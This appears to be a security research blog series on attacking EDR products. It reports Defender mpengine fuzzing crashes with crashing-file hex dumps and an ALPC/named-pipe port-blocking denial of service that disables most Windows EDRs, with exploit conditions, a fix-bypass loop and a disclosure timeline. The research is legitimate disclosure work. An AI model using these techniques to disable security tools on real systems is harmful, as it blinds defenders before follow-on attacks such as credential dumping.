mpengine!hstr_internal_report_match+0x44
mpengine!MachoParser::Scan+0x1e63
mpengine!macho_scanfile+0x71
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash6-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcf36b3c29

OOB read in an encrypted Office document. This specific file only crashes with PageHeap but it can be adapted to crash without PageHeap.

File type: Composite Document File V2 Document

This crashes because of a wrong saltSize value:

00000b20  44 61 74 61 20 73 61 6c  74 53 69 7a 65 3d 22 31  |Data saltSize="1|
00000ba0  68 6d 3d 22 53 48 41 32  35 36 22 20 73 61 6c 74  |hm="SHA256" salt|
00000d40  30 22 20 73 61 6c 74 53  69 7a 65 3d 22 31 37 22  |0" saltSize="17"|
00000dc0  3d 22 53 48 41 35 31 32  22 20 73 61 6c 74 56 61  |="SHA512" saltVa|

ntdll!memcpy+0x29
bcryptPrimitives+0x5ad7
bcryptPrimitives+0x3f85
bcrypt!BCryptHashData+0x77
rsaenh!CPHashData+0xbb
CRYPTSP!CryptHashData+0x94
mpengine!OfficeEcma376AgileDecryptor::HashHelper+0x71
mpengine!OfficeEcma376AgileDecryptor::CheckPassword+0x20b
mpengine!DecryptWithPassword+0x26
mpengine!DecryptWorker+0x48
mpengine!TryDecryptDocument+0x1ab
mpengine!RME::Scan+0x137
mpengine!macro_scan+0x8c
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash8-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a517f

An OOB read while searching for a character in a string. Only crashes with PageHeap.

File type: Unicode text, UTF-16, little-endian text. This is a very small file:

00000000  ff fe 23 00 53 00 74 00  72 00 65 00 61 00 6d 00  |..#.S.t.r.e.a.m.|
00000010  20 00 43 00 6f 00 6e 00  74 00 61 00 69 00 6e 00  | .C.o.n.t.a.i.n.|
00000020  65 00 72 00 20 00 46 00  69 00 6c 00 65 00 0a 00  |e.r. .F.i.l.e...|
00000030  74 00 61 00 69 00 6e 00  65 00 72 00 20 00 46 00  |t.a.i.n.e.r. .F.|
00000040  69 00 6c 00 00 6e 00 74  00 61 00 69 00 6e 00 65  |i.l..n.t.a.i.n.e|
00000050  00 72 00 20 00 46 00 69  00 6c 00 65 00 0a 75 72  |.r. .F.i.l.e..ur|
00000060  6f 3d 2e 63 6d                                    |o=.cm|
00000065

mpengine!wcschr+0x27
mpengine!nUFSP_replayablecontainer::FindNext+0xe0
mpengine!UfsFindData::FindFirstUsingPlugin+0xe4
mpengine!UfsFindData::FindFirst+0xd0
mpengine!UfsClientRequest::FindNextInNode+0x270
mpengine!UfsNodeFinder::FindFirst+0xd3
mpengine!UfsClientRequest::AnalyzeNode+0x8e
mpengine!UfsClientRequest::AnalyzeLeaf+0x18c
mpengine!UfsClientRequest::AnalyzePath+0x24f
mpengine!UfsCmdBase::ExecuteCmd<<lambda_63254cfa82a2be95f0c1106eef9d5b22> >+0x11c
mpengine!UfsScanFileCmd::Execute+0x50
mpengine!ksignal+0x5f1
mpengine!EngineProcessFile+0x219

5.1 Example POCs

Crash Defender by clicking a link that triggers a "PDF" download. This could be used in combination with an initial access payload:

Crash Defender by uploading a file via SMB before dumping credentials:

6. Conclusion

The initial assumption that mpengine.dll is an interesting fuzzing target proved correct. Nine memory-related bugs were identified that led to a denial of service. While this specific research did not uncover RCEs, the methodology could have potentially revealed exploitable bugs. Nevertheless, attackers can leverage such denial-of-service vulnerabilities to crash Defender before executing subsequent malicious actions (see 5.1 Example POCs).

Depending on the specific scenario, some of the identified crashes have a CVSS v4.0 score of approximately 6.8/10 (e.g., CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N for a downloaded file). However, for some mail clients, Defender can also be configured to scan files automatically which would lead to a remote attack without user interaction.

Given that these vulnerabilities can be easily exploited to repeatedly crash Defender's main process, we believe these issues warrant addressing by Microsoft. During our tests, no corresponding alerts were observed in the security dashboard following these crashes or subsequent malicious actions.

Attacking EDRs Part 3: One Bug to Stop them all

Manuel Feifel — Mon, 24 Feb 2025 00:00:00 GMT

This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 (this article) describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Summary of ALPC Blocking Vulnerability

A DoS vulnerability has been discovered within the majority of tested EDRs on Windows that allows a low priviledged user to disable the EDR after a reboot:

Palo Alto Cortex XDR

Microsoft Defender (for Endpoint)

Check Point Harmony

Kaspersky Endpoint Security for Business

Trend Micro Vision One XDR

Malwarebytes for Teams (only one module is disabled)

SentinelOne (only one executable is blocked with unknown consequences)

CrowdStrike XDR (only certain features are disabled)

This can be achieved by opening a specific ALPC (Advanced Local Procedure Call) port or other ressources, typically utilized by the products themselves. Most EDRs use ALPC for inter-process communication in the user-mode components. However, none of the tested EDRs deals with the case if the requested port-name is already used. Consequently the initialization fails and either the user-mode service crashes or is in a non-functional state. The kernel-components which are still running, did not have any detecting or blocking functionality in the tests except for Crowdstrike that implements a large part in the drivers.
A scheduled task can be used to win the race to register the ALPC port. For example a user-logon trigger with high prioriy and ARSO is sufficient for most EDRs. Otherwise, event-triggers can be used but they require the Logon as batch job privilege.

PoC code can be found in this repository: ::github{repo="ig-labs/EDR-ALPC-Block-POC"}

2. Windows ALPC Introduction

:::note You do not need to know any of this to understand or exploit the vulnerability, but it may be useful if you want to conduct your own research. :::

Windows Advanced (or Asynchronous) Local Procedure Call (ALPC) is an inter-process communication (IPC) mechanism that allows processes, services and drivers on the same host to communicate with each other via pre-defined interfaces. Other IPC mechanisms include named pipes, shared memory, and remote procedure call (RPC). ALPC is a fast and efficient mechanism heavily used within the Windows operating system.

ALPC itself is undocumented by Microsoft and developers are not indented to use it directly. However, there are official libraries such as RPCRT4.dll which use ALPC under the hood. Alex Ionescu reverse engineered and published internals of ALPC.

If ALPC can be used directly or with the RPC Run Time. By default, it registers a port object at the location \RPC Control\Test-Port) and afterwards a client can connect to it. If plain ALPC is used, raw messages can be send in both directions. Typically, ALPC is used as one implementation of Windows RPC "ncalrpc". The library RPCRT4.dll provides functionality for developers to use it. The server registers interfaces where each interface can have multiple methods through IDL-files which are compiled and integrated into the server and client (client/server stub).

The registered ALPC ports can be looked up in WinObj from SysInternals.

ALPC Ports in WinObj

How RPC works

The following decompiled output from IDA shows how an ALPC port is registered using the RPC Runtime library (RPCRT4.dll) in Cortex.

ALPC-RPC Server Registration in Cortex

Some important notes:

If the port name is NULL, a random port name such as LRPC-71dcaff45b0f633aad is given
A port can be restricted using Security Descriptors
If no callback function is provided (and no Security Descriptor), every client can establish a connection
The RPC Server can be registered at the RPC Endpoint Mapper using the function RpcEpRegister. Most EDR ports are not registered and depending on the method you use to enumerate the ports, you don't see them (for example when using RpcView). ProcessHacker/SystemInformer displays all ports in the Handles-Tab
Clients can connect using the port name or by defining the interface UUID and version contained in the interface description (if it is registered at the endpoint mapper)

Vulnerabilities in ALPC usage can be categorized as follows (though other categories probably exist):

Weak or missing access control leading to access to sensitive functionality or data
Memory corruptions in handling function parameters (there is no official implementation to use RPC with managed languages)
Impersonation vulnerabilities (usefulness In realistic scenarios unclear)
DoS: Blocking communication (this type of vulnerability, uncovered in this research, is, to our knowledge, previously not discussed publicly).

For a better understanding of ALPC and how to interact with it from a testing perspective, we recommend the following talks or the corresponding blog post:

For more details on ALPC security and reverse engineering, see the blog posts by 0xcsandker:

3. ALPC Research Results

We began looking into ALPC after encountering it while investigating password handling in the Cortex driver cyvrmtng.sys (see Part 2).

The first step is to enumerate the ALPC ports and check the Security Descriptors.

3.1 Enumerate ALPC-ports

First Method: WinDBG

0: kd> !process 0 0 cyserver.exe
PROCESS ffff970f8e6df080
    SessionId: 0  Cid: 24f8    Peb: dd298fc000  ParentCid: 02f4
    DirBase: 239c24000  ObjectTable: ffffaa08f1ffb400  HandleCount: 846.
    Image: cyserver.exe

0: kd> !alpc /lpp ffff970f8e6df080

Ports created by the process ffff970f8e6df080:

  ffff970f8e76ad30('OLEC4EA145C32D5AB917AD12FA45688') 0, 1 connections
    ffff970f85fe1a80 0 ->ffff970f87165a80 0 ffff970f87ca5080('svchost.exe')

  ffff970f8ab938f0('Palo-Alto-Networks-Traps-ESM-Rpc') 0, 1 connections
    ffff970f870ac0b0 0 ->ffff970f9209f070 0 ffff970f8e6df080('cyserver.exe')

  ffff970f8c4d6aa0('Palo-Alto-Networks-Traps-Report-Rpc') 0, 0 connections

  ffff970f8b2e9760('TasWorkerServer_811AC91A') 4, 4 connections
    ffff970f871242c0 0 ->ffff970f8d0e2510 0
ffff970f8eeb1080('tlaworker.exe')
    ffff970f871682c0 0 ->ffff970f8d0cd7a0 0
ffff970f8eeaf080('tlaworker.exe')
    ffff970f87035910 0 ->ffff970f85f35910 0
ffff970f8eeb0080('tlaworker.exe')
    ffff970f87046910 0 ->ffff970f87068910 0
ffff970f8efe2080('tlaworker.exe')

  ffff970f91dc4d30('Palo-Alto-Networks-Traps-DB-Rpc') 0, 0 connections

  ffff970f927f2d30('Palo-Alto-Networks-Traps-Scan-Rpc') 0, 0 connections

  ffff970f8eeafda0('CyveraPort') 0, 1 connections
    ffff970f8bb93d10 0 ->ffff970f8e54ec70 0 ffff970f84c7e040('System')

Ports the process ffff970f8e6df080 is connected to:
[...]


0: kd> !object ffff970f8ab938f0
Object: ffff970f8ab938f0  Type: (ffff970f84cf7900) ALPC Port
    ObjectHeader: ffff970f8ab938c0 (new version)
    HandleCount: 1  PointerCount: 32757
    Directory Object: ffffaa08e5dfe480  Name: Palo-Alto-Networks-Traps-ESM-Rpc

0: kd> dx (((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)->SecurityDescriptor)
(((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)->SecurityDescriptor) :
0xffffaa08ea537d6d [Type: void *]

0: kd> !sd 0xffffaa08ea537d60 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8804
            SE_DACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x5c
->Dacl    : ->AceCount   : 0x4
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x00030001
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x14
->Dacl    : ->Ace[1]: ->Mask : 0x00030001
->Dacl    : ->Ace[1]: ->SID: S-1-5-12 (Well Known Group: NT AUTHORITY\RESTRICTED)

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x18
->Dacl    : ->Ace[2]: ->Mask : 0x001f0001
->Dacl    : ->Ace[2]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)

->Dacl    : ->Ace[3]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[3]: ->AceFlags: 0x0
->Dacl    : ->Ace[3]: ->AceSize: 0x14
->Dacl    : ->Ace[3]: ->Mask : 0x001f0001
->Dacl    : ->Ace[3]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Sacl    :  is NULL

To sum it up, the following ALPC-ports exist

Palo-Alto-Networks-Traps-DB-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: cyapi.dll
- Server: cysvc.dll
Palo-Alto-Networks-Traps-ESM-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: cysvc.dll
- Server: cyverau.dll
Palo-Alto-Networks-Traps-Report-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: ?
- Server: cysvc.dll
Palo-Alto-Networks-Traps-Scan-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: cyapi.dll
- Server: cysvc.dll
TasWorkerServer_***
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: tlaworker.exe
- Server: cysvc.dll
CyveraPort
- Security Descriptor: S-1-5-18 (NT AUTHORITY\SYSTEM)
- Client: kernel-driver
- Server: cyserver.exe

Second Method using ProcessHacker:

This method is easier and faster for getting an overview but provides fewer details:

:::note Tools such as RPCView and many others don't display these ports because they are not registered in the RPC Endpoint Mapper and they are created by a ProtectedProcess Anti-Malware process. ProcessHacker/SystemInformer ships a driver which allows to access these processes. :::

3.2 Connecting to ALPC Port

The password we traced is transmitted via Palo-Alto-Networks-Traps-ESM-Rpc. Initially, we attempted to connect using the ALPC examples from 0xcsandker, released toghether with this blog post. Connecting to the port was successful but sending messages did not seem to work as breakpoints in the receiver were not triggered. However, we shortly noticed, that this approach does not make a lot of sense as ALPC is not used directly but as a RPC-method from rpcrt4.dll with an IDL (Interface definition language).

We used the NtObjectManager tooling from James Forshaw to establish a connection to the port:

Connecting to an ALPC port from Cortex

The reason for the "Access is denied" is the Interface Callback of the ALPC registration:

Registration of the ALPC port

The IfCallback function of the ALPC port

The function CyOpenServerProcess retrieves the process from cyserver.exe via the dirver. Afterwards it gets the process ID from the ALPC client via I_RpcBindingInqLocalClientPID and then it compares the PIDs. If they do not match a connection is rejected.

3.3 Impersonating ALPC Server

As it was not successful to use a client to obtain sensitive data, we attempted to impersonate the server by opening the ALPC before Cortex starts. We used a slightly modified version of the CPP-ALPC-Basic-Server.cpp example to start a ALPC server at \RPC Control\Palo-Alto-Networks-Traps-ESM-Rpc. We stopped cyserver with cytool and then started the fake server. Afterwards we started cyserver again.

ALPC Server "Impersonation"

The screenshot shows that cyserver.exe connected to the port and sent messages. Because Cyserver.exe itself did not open this, some functionality must be broken. To test this we set up an ALPC server for all the ALPC ports used by Cyserver.exe (except \Cyveraport which requires administrative privileges). After starting this, Cyserver crashed during the initialization.

This was promising, as Cortex neither prevented nor alerted anything without the user-mode component Cyserver. For example, Mimikatz could be launched and executed without modification.

The only remaining step was to achieve the same effect during startup without requiring administrative privileges. A scheduled task in combination with Windows ARSO (see this documentation) successfully disabled Cortex.

The next section details how to exploit this vulnerability.

We tested as many EDRs as possible for the same vulnerability and found, surprisingly, that most were vulnerable. The concept for exploiting this vulnerability is quite simple, so we expected some EDRs to have addressed it. The following list of EDRs are vulnerable:

Palo Alto Cortex XDR
Microsoft Defender (for Endpoint)
Check Point Harmony
Kaspersky Endpoint Security for Business
Trend Micro Vision One XDR
Malwarebytes for Teams (only one module is disabled)
SentinelOne (only one executable is blocked with unknown consequences)
Crowdstrike XDR (only certain features are disabled)

3.4 Exploit Conditions

Successful exploitation of the ALPC-block DoS vulnerability requires the following preconditions:

The host reboots (either manually with shutdown privileges or by waiting)
The target ALPC port is registered in a namespace where a low-privileged user has write permissions. The default name space is "\RPC Control" where every user can create objects.
Permissions to create a scheduled task (allowed by default)
- Alternatively create or modify a service (only for local admins by default) or other methods for early startup (e.g. DLL Hijacking)
Exploit registers ALPC ports before the EDR during the Windows startup
- The likelyhood of winning this race varies between EDRs but for most it is 100% reliable in our tests:
  - For example Cortex (cyserver.exe) takes a long time to initialize itself and also has startup-dependencies to other components. Consequently, it is quite easy to be faster.
- If this is exploited by a low-privileged user, it is important to choose a method which starts during the startup of Windows and not after an interactive logon.
  - A default user does not have the permission to create a scheduled task with the trigger "at startup"
  - There are two options we used to exploit this:
    1. "At log on" Trigger in combination with Automatic Restart Sign-On (ARSO) (as per this reference). ARSO was built to improve the update process and temporarly stores the user credentials to do an auto-login of the current user. However, it can also be used without updating the OS. The following screenshot from the Microsoft ASRO documentation provides an overview of when ARSO is applied
    - The ARSO configuration can also be set via group policy or in the Sign-in options
    1. Scheduled task with an event-trigger (on any Event ID happening early during the Windows startup). The password of the user needs to be stored in the scheduled task in this case which requires the right "SeBatchLogonRight". On unmanaged Windows hosts this permission is not given by default. However, on several AD-joined clients, this was enabled in different companies.
    - One of the first events that can be used is Event ID "6" from FilterManager which is created if a filter driver is loaded
  - Generally, the process priority of the scheduled task should be set as high as possible. The default priority of a scheduled task is 7 (BELOW\_NORMAL). The priority cannot be adjusted in the GUI. The scheduled task can be exported to an XML where the priority can be adjusted. Afterwards it can be imported again. This could also be done programmatically.
  - Priority 0 (REALTIME) and 1 (HIGH) can only be used by local administrators.
  - Priority 2 (ABOVE\_NORMAL) can be set by all accounts

3.5 Mitigation

This vulnerability cannot be easily fixed because it is an architectural flaw rather than a coding error. The following suggestions primarily mitigate the effects but do not address the root cause:

Use a randomly generated port name (e.g. UUID)
Generate an alert of an EDR is not active but the host itself is online
If a required port is in use, kill the corresponding application via the driver and flag it as malware
Limit the attack surface to administrative users: Use Port names in the root directory (e.g. \TestPort) which are only accessible to administrative users.
General recommendation: Ensure the kernel-components can send an alert if a user-mode component is not active.
Monitor processes via the driver before the user-mode process is started and cache results to sent them later

Some fixes of vendors where analyzed with the following results:

Vendor Fixes

We examined the fixes from Cortex XDR for CVE-2023-3280 and CVE-2024-5909 in more detail.

CVE-2023-3280 was "fixed" by blocking the registering of ports used by Cortex (e.g. Palo-Alto-Networks-Traps-DB-Rpc) by the driver. As soon as the user-mode component was ready to register the port, an IOCTL was send to the driver to release the ports. However, all processes are now allowed to register the port and it opens up a short timeframe to win the race.

Only one additional line in the exploit code was required to bypass the "fix":

register_port();

while(not_successful){
  register_port();
}

After reporting it to PaloAlto another fix was published in 2024 (CVE-2024-5909). The port names are now UUIDs set or retreived via IOCTls.

We did not examine the fixed versions of other vendors.

3.6 Blocking EDRs with NamedPipes

SentinelOne Singularity XDR can be blocked by registering NamedPipes instead of ALPC ports. This demonstrates that other resources can be exploited by the same type of vulnerability. The exploitation is tricky as the NamedPipe is not a static string: \Device\NamedPipe\DFIScanner.Inline.3360.3720Pipe The first number is a PID and the second number is a TID. During the first start of the EDR during the Windows startup, the values are usually in the range of 2500-4000. The exploit did first register the most likely ports and afterwards other ranges from 0-12000. This technique could be successfully exploited with a low privileged user similiar to the other ALPC based vulnerabilities.

3.7 Further Research

This research project only scratched the surface of the existing attack surface of EDRs (or XDRs). Further blog posts on this topic are likely. If you have read this entire post, you will have noticed several areas that warrant further investigation.

The following topics related to the research described in this post should be addressed:

Testing the same ALPC DoS vulnerability for further vendors
Testing other IPC-methods (e.g. NamedPipes) or completely other resources to block EDRs
Testing accessible ALPC functions for logic bugs or memory corruptions
Spoofing an IPC-server or IPC-client to modify the behavior or to extract sensitive data
Analysing the driver interfaces of further EDR products
Analyzing fixes and searching for potential bypasses such as the one discussed in this section

4 Disclosure Process

Well… one would think that this would be a rather positive experience compared to other vendors because they make security products themselves. This was not the case for the majority of vendors. First of all, most vendors required more than 90 days to release a fix or did not fix it at all. Most disclosure reports have been sent between April 2023 and September 2023. Some reports have been sent later, as access to some products was not given in 2023. No vendors did provide information on how they fixed it after (e.g. "that is considered proprietary Cortex XDR agent information") although some requested a retest.

Second, two vendors responded with unbelievably incompetent questions and comments. One example, after we sent the requested (PoC) code, was the following:

"The cpp program needs to be converted to exe? If no then, what's the command that you are running?"

An Overview of the disclosure process:

PaloAlto Cortex XDR
- 05.04.2023: Reported ALPC-block vulnerability to PaloAlto
- 13.09.2023: Released Advisory CVE-2023-3280
- 25.09.2023: Reported a bypass for their "fix" to PaloAlto
- 13.10.2023: PaloAlto reponded that that it will take time to address the issue
- 12.06.2024: Released Advisory CVE-2024-5905
Microsoft Defender (for Endpoint)
- 31.05.2023: Reported ALPC-block vulnerability to Microsoft
- 19.09.2023: Fix is in testing process ("we plan to release it as part of the October Patch Tuesday")
- 13.11.2023: "During the staggered deployment for the fix to the issue you reported, the team noticed that the fix was causing some crashes on systems with the update installed. ... this will not be completed until December at the earliest."
- 12.03.2024: Released Advisory CVE-2024-20671
CheckPoint Harmony
- 07.07.2023: Reported ALPC-block vulnerability to CheckPoint
- 17.08.2023: After several clarification mails, they still cannot reproduce it.
Kaspersky Endpoint Security for Business:
- 07.07.2023: Reported ALPC-block vulnerability to Kaspersky
- 12.07.2023: Kaspersky reproduced vulnerability
- 13.09.2023: Kaspersky fixed the issue
- 21.11:2023: After asking for a CVE, they responded that they will not publish a CVE
TrendMicro Vision One XDR
- 10.07.2023: Reported ALPC-block vulnerability to TrendMicro
- 02.08.2023: After some clarification mails, no further information was provided by TrendMicro
Malwarebytes for Teams
- 13.07.2023: Reported ALPC-block vulnerability to Malwarebytes that one module can be disabled but not the whole product. Asked them to provide a test license for their Business EDR product which I did not receive.
  - The employee assigned to this case did not have the knowledge to understand and reproduce the case.
- 02.10.2023: The case was closed without releasing a fix or providing access to the EDR product with more features.
SentinelOne Singularity XDR
- We did not have a fully working environment to test this product.
- ALPC block
  - 25.07.2023: Reported that a certain process can be crashed by blocking an ALPC port. However, we could not reproduce it reliably in the limited test environment. We asked for a test license to do a further analysis.
  - 03.10.2023: After asking for an update on the status, the assigned employee at HackerOne did not know anything.
- NamedPipe block
  - 29.09.2023: Reported that the whole product can be blocked by registering NamedPipes instead of ALPC ports.
  - 02.11.2023: SentinelOne reproduced it. A timeline for a fix is not known.
  - 22.06.2024: SentinelOne asked for a retest of their fix. However, this was not possible because SentinelOne did not want to provide a test license.
Crowdstrike XDR
- Initially, no access to a Crowdstrike environment was available. Therefore, it was reported later.
- 26.06.2024: Reported that the a certain process can be crashed by blocking an ALPC port. However, some functionality was still available.
- 26.06.2024: Crowdstrike reproduced it on the same day.
- 05.08.2024: "After careful evaluation, we have determined that the security finding is considered low impact and does not meet the criteria for a CVE" because the kernel-mode driver remains fully operational.
- It is unknown when a fix was published.

5 Conclusion

This research project demonstrated that EDRs can contain relatively simple vulnerabilities. A "novel" type of vulnerability was identified that allows disabling or bypassing several widely used EDRs. Exploitation is relatively easy, requiring only the setup of a scheduled task that registers a specific ALPC port. To our knowledge, similar vulnerabilities have not been previously published for EDR or antivirus software. However, we could not identify straightforward vulnerabilities such as insecure driver interfaces accessible to low-privileged users. Nevertheless, several EDRs have a direct kernel attack surface accessible to low-privileged users. Fully understanding the true attack surface and authorization model of these drivers requires extensive reverse engineering, which could not be fully completed due to time constraints. In our opinion, the field of security research on EDR attack surfaces has not been explored in sufficient detail.

Attacking EDRs Part 2: Driver Analysis Results

Manuel Feifel — Mon, 17 Feb 2025 00:00:00 GMT

This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 (this article) describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Introduction & Summary

Following the process outlined in Part 1, there are two candidates with open ACLs for their driver interfaces:

PaloAlto Cortex XDR
Sophos Intercept X

The objective was to uncover potential privilege escalation or EDR modification vulnerabilities exploitable by low-privileged attackers. This initial approach did not reveal any serious vulnerabilities but did identify some minor issues, including an authorization bypass for specific IOCTLs in Palo Alto Cortex. To aid other researchers, the subsequent sections detail the analysis process for these drivers.

We used two different approaches to check for potential vulnerabilities:

Manual analysis for logic bugs was conducted for two IOCTL-Handler in PaloAlto Cortex XDR.
Snapshot-Fuzzing was applied on the MessageCallback function of a FilterConnectionPort in Sophos Intercept X. This post gives a brief overview, but does not go into detail on how to perform and debug snapshot fuzzing. There will be a post on Snapshot Fuzzing on the InfoGuard Labs Blog in the future.

2. Palo Alto Cortex XDR

There are three open interfaces with dispatch functions:

tedrdrv.sys: \\.\PaloEdrControlDevice
cyvrmtgn.sys: \\.\CyvrMit
tedrpers-<version>.sys: \\.\PANWEdrPersistentDevice11343

:::MSRC Cortex is the result of a merger between Cyvera and Traps. Consequently, naming conventions may begin with either "t" or with "cyvr". Usually such a historical grown product is more likely to have logical vulnerabilities. :::

2.1 \\.\PaloEdrControlDevice

The dispatch function handling the Major Function code 0xe (Device IO Control) has ~20 cases (different IOCTLs). This offers a lot of functionality and consequently also attack surface.

Device IO Control Dispatch Function in Cortex

After testing some random IOCTLs from the decompiled code using the tool IOCTLplus, we noticed that most of the IOCTLs respond with "Access Denied".

IOCTLplus showing Access denied

However, some IOCTLs responded differently

0x2260D8 returns 3088 bytes of binary data and does not require an input. We started to search for a client which calls this IOCTL because this should help understanding the data. The source code below shows that these are just statistics which can be printed using the CyTool.

IOCTLplus calling 0x2260D8

printf_0("%s = %I64d\n", "StatTakeTime", OutBuffer);
printf_0("%s = %I64d\n", "TimeIncrement", v8);
printf_0("%s = %I64d\n", "PerformanceFrequency.QuadPart", v9);
printf_0("%s = %I64d\n", "Providers.File.FsStreamHandleContextCount", v10);
printf_0("%s = %I64d\n", "Providers.File.FsStreamContextCount", v11);
printf_0("%s = %I64d\n", "Providers.File.FsStreamMaxContextCount", v12);
printf_0("%s = %I64d\n", "Providers.File.FileTotalMessagesSent", v13);
printf_0("%s = %I64d\n", "Providers.File.FileTotalRemoteFiles", v14);
printf_0("%s = %I64d\n", "Providers.File.FileTotalLocalFiles", v15);
printf_0("%s = %I64d\n", "Providers.File.FileNumTimesHashedOnClose", v16);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumBytesPurged", v17);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumBytesPurgedNewFile", v18);
printf_0("%s = %I64d\n", "Providers.File.HashStats.TotalNumBytesHashed", v19);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumHashOperations", v20);

Usage of returned data by 0x2260D8 from the decompiled code

0x2260D0 gives an interesting response (see below). What can be initialized and who can do it?

To understand how this function is invoked during startup, we set a breakpoint at the loading of tedrdrv.sys and subsequently another breakpoint at the dispatch function's entry point. This was done to observe which IOCTLs are called by which processes after a Windows restart:

0: kd> sxe ld tedrdrv.sys
0: kd> g
nt!DebugService2+0x5:
fffff806`16c01015 cc              int     3
0: kd> bp tedrdrv+7E70 "k;!irp rdx detail" 
0: kd> g

[...]

>[IRP_MJ_DEVICE_CONTROL(e), N/A(0)]
            1  0 ffff970f85974e00 ffff970f8c77c380 00000000-00000000    
             \FileSystem\tedrdrv
                Args: 00000114 00000000 0x2260d0 00000000

3: kd> !thread @$thread 0x1f;
THREAD ffff970f8afd1080  Cid 0f28.11f8  Teb: 0000009c0fa7b000 Win32Thread: ffff970f8c99d720 RUNNING on processor 3
IRP List:
    ffff970f8a672480: (0006,0118) Flags: 00060070  Mdl: 00000000
Not impersonating
DeviceMap                 ffffaa08e5036180
Owning Process            ffff970f8ab97080       Image:         cyserver.exe
Attached Process          N/A            Image:         N/A
Wait Start TickCount      1528           Ticks: 0
Context Switch Count      1700           IdealProcessor: 0             
UserTime                  00:00:03.250
KernelTime                00:00:00.265
Win32 Start Address cysvc!CySvcCommandLineHandler (0x00007ffb40f556c0)
Stack Init ffff9405d02ebc90 Current ffff9405d02eb3f0
Base ffff9405d02ec000 Limit ffff9405d02e6000 Call 0000000000000000
Priority 9 BasePriority 8 PriorityDecrement 0 IoPriority 2 PagePriority 5
Child-SP          RetAddr               Call Site
ffff9405`d02eb7f8 fffff802`6042a6b5     tedrdrv+0x7e70
ffff9405`d02eb800 fffff802`608164c8     nt!IofCallDriver+0x55
ffff9405`d02eb840 fffff802`608162c7     nt!IopSynchronousServiceTail+0x1a8
ffff9405`d02eb8e0 fffff802`60815646     nt!IopXxxControlFile+0xc67
ffff9405`d02eba20 fffff802`6060aab5     nt!NtDeviceIoControlFile+0x56
ffff9405`d02eba90 00007ffb`5232d1a4     nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ ffff9405`d02ebb00)
0000009c`105fc7f8 00007ffb`51d4572b     ntdll!NtDeviceIoControlFile+0x14
